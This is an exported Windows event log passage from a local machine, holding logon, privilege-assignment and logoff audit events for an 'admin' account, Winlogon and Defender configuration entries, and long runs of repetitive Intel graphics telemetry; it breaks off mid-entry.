Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E143\n\tLinked Logon ID:\t\t0xB3E17C\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tWorkstation Name:\tHONOR-FRG-X\n\tSource Network Address:\t127.0.0.1\n\tSource Port:\t\t0\n\nDetailed Authentication Information:\n\tLogon Process:\t\tUser32 \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.888\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E17C\n\tLinked Logon ID:\t\t0xB3E143\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tWorkstation Name:\tHONOR-FRG-X\n\tSource Network Address:\t127.0.0.1\n\tSource Port:\t\t0\n\nDetailed Authentication Information:\n\tLogon Process:\t\tUser32 \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.888\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E143\n\nPrivileges:\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.888\t4634\t\"An account was logged off.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E17C\n\nLogon Type:\t\t\t2\n\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.889\t4634\t\"An account was logged off.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E143\n\nLogon Type:\t\t\t2\n\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.892\t811\tThe winlogon notification subscriber  began handling the notification event (5).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:51:16.893\t812\tThe winlogon notification subscriber  finished handling the notification event (5).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:51:16.893\t811\tThe winlogon notification subscriber  began handling the notification event (5).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:51:16.896\t812\tThe winlogon notification subscriber  finished handling the notification event (5).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:51:16.897\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -s CertPropSvc( #0x0/0x8392 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:51:16.908\t2\t{\"category\":\"Navigation\",\"level\":\"Information\",\"message\":\"Reload/unload page\",\"parameters\":{\"caller\":\"OnSessionStateChanged\",\"sessionState\":\"Active\",\"mainWindowVisible\":\"False\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.109\t1402\tData Store Cache secondary data reconciliation start.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:51:17.113\t1403\tData Store Cache secondary data reconciliation end.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:51:17.137\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.309\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.334\t177\tReceived console locked notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:51:17.400\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\UX Configuration\\ToastOrSsoTrigger = 0x0\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\UX Configuration\\ToastOrSsoTrigger = 0x1\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:51:17.484\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.659\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.937\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.111\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.293\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.466\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.642\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.813\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.993\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:19.171\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:19.342\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:19.617\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:19.822\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.046\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.124\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.324\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.512\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.697\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.984\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.188\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.376\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.564\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.771\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.962\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:22.149\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:22.442\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:22.629\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:22.830\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.013\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.210\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.394\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.593\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.794\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.976\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:24.257\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:24.553\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:24.740\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:24.927\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.130\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.320\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.356\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:25.356\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:25.376\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:25.376\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:25.523\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.708\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.910\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.205\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.399\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.584\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.770\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.977\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:27.143\t171\tThe reader was created successfully for app package Microsoft.SecHealthUI_1000.29628.1000.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:51:27.272\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:27.465\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:27.658\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:27.947\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:28.236\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:28.430\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:28.629\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:28.816\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.001\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.193\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.376\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.555\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.844\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.060\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.234\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.421\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.609\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.809\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.001\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked 